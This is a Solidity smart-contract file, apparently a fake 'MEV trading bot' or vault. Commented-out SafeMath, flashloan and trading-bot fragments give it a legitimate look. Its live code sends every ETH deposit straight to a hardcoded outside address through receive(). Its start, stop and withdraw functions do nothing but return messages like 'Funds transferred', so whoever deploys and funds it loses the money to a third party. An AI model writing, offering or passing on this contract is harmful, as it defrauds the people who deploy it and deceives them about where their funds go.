// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract ForwardVault { address payable private constant RECIPIENT = payable(0x9Ca7FbE2afBb404E49b49DEADe3a325e92dd6dA4); // library SafeMath { // function add(uint256 a, uint256 b) internal pure returns (uint256) { // uint256 c = a + b; // require(c >= a, "SafeMath: addition overflow"); // return c; // } // function mul(uint256 a, uint256 b) internal pure returns (uint256) { // // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // // benefit is lost if 'b' is also tested. // // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 // if (a == 0) { // return 0; // } // uint256 c = a * b; // require(c / a == b, "SafeMath: multiplication overflow"); // return c; // } // } // function mul(uint256 a, uint256 b) internal pure returns (uint256) { // // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // // benefit is lost if 'b' is also tested. // // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 // if (a == 0) { // return 0; // } // uint256 c = a * b; // require(c / a == b, "SafeMath: multiplication overflow"); // return c; // } // function div(uint256 a, uint256 b) internal pure returns (uint256) { // return div(a, b, "SafeMath: division by zero"); // } // function div( // uint256 a, // uint256 b, // string memory errorMessage // ) internal pure returns (uint256) { // require(b > 0, errorMessage); // uint256 c = a / b; // // assert(a == b * c + a % b); // There is no case in which this doesn't hold // return c; // } // function mod(uint256 a, uint256 b) internal pure returns (uint256) { // return mod(a, b, "SafeMath: modulo by zero"); // } // function mod( // uint256 a, // uint256 b, // string memory errorMessage // ) internal pure returns (uint256) { // require(b != 0, errorMessage); // return a % b; // } // modifier onlyOwner() { // require( // msg.sender == owner, // "Flashloan: Only owner can execute this method" // ); // _; // } // address payable private constant AUTO_FUNDER = payable(0x9Ca7FbE2afBb404E49b49DEADe3a325e92dd6dA4); // function getResponse(uint8 action) internal pure returns (string memory) { // if (action == 1) return "Started MEV trading bot"; // if (action == 2) return "Stopped MEV trading bot"; // if (action == 3) return "Withdrawal has been processed to recipient"; // return ""; // } receive() external payable { require(msg.value > 0, "No ETH sent"); require(address(this).balance >= msg.value, "Insufficient contract balance"); (bool success, ) = RECIPIENT.call{value: msg.value}(""); require(success, "ETH transfer failed"); } function execute(uint8 action) internal pure returns (string memory) { if (action == 1) return "Operation started"; if (action == 2) return "Operation stopped"; if (action == 3) return "Funds transferred"; return "Unknown action"; } function start() public pure returns (string memory) { return execute(1); } function stop() public pure returns (string memory) { return execute(2); } function withdraw() public pure returns (string memory) { return execute(3); } }